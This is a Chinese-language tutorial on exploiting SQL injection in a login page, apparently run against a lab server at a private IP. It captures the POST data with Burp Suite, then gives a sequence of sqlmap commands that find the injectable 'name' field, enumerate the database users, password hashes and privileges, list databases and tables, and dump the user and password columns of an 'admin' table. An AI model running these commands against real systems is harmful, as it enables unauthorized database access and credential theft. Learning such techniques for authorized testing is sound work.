这里选用登录页面/user/login.aspx测试。
通过burpsuite抓包,并得到/user/login.aspx的完整URL以及post到服务器的数据格式。
URL:http:// 192.168.50.100:8013/user/login.aspx?action=dl&name&password
Post的数据格式:“name=aaa&password=aaaa&Submit=%E7%99%BB%E9%99%86”
我们将检测到的结果,拿到SQLmap进行注入攻击。
SQLmap先测试注入点:
Sqlmap检测post注入是,使用-u制定“URL”,--data,制定post的表单数据。
格式如下:sqlmap.py –u “URL” –data “post数据”
这里测试如下:
F:sqlmap>sqlmap.py -u "http:// 192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86"
通过sqlmap检测的数据结果,能够显示name字段存在注入,并检测到服务器短信息为windows2003,IIS6.0,SQL2005的数据库。
在注入时,一般我们都需要如下信息: 数据库banner信息(-b或—banner)、当前数据库名字(--current-db),
当前连接数据库用户名(--current-user),当前数据库主机名(--hostname),当前是否为dba权限(--is-dba),
数据库管理用户名信息(--users),数据库管理用户的密码hash信息(--passwords),用户权限(--privileges),用户的角色(--roles)。
测试如下:
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -b --hostname --current-user --current-db --is-dba --users --passwords --privileges --roles
得到数据库的名字。
利用—dbs参数,如果当前用户有权限读取系统表,这里能够得到数据库名字全部信息。
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" --dbs
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" --current-db
显示结果如下。
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -D asq --tables
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -D asq -T admin --columns
sqlmap.py -u "http://192.168.50.100:8013/user/login.aspx?action=dl&name&password" --data "name=aaa&password=aaaaaa&Submit=%E7%99%BB%E9%99%86" -D asq -T admin -C user,password --dump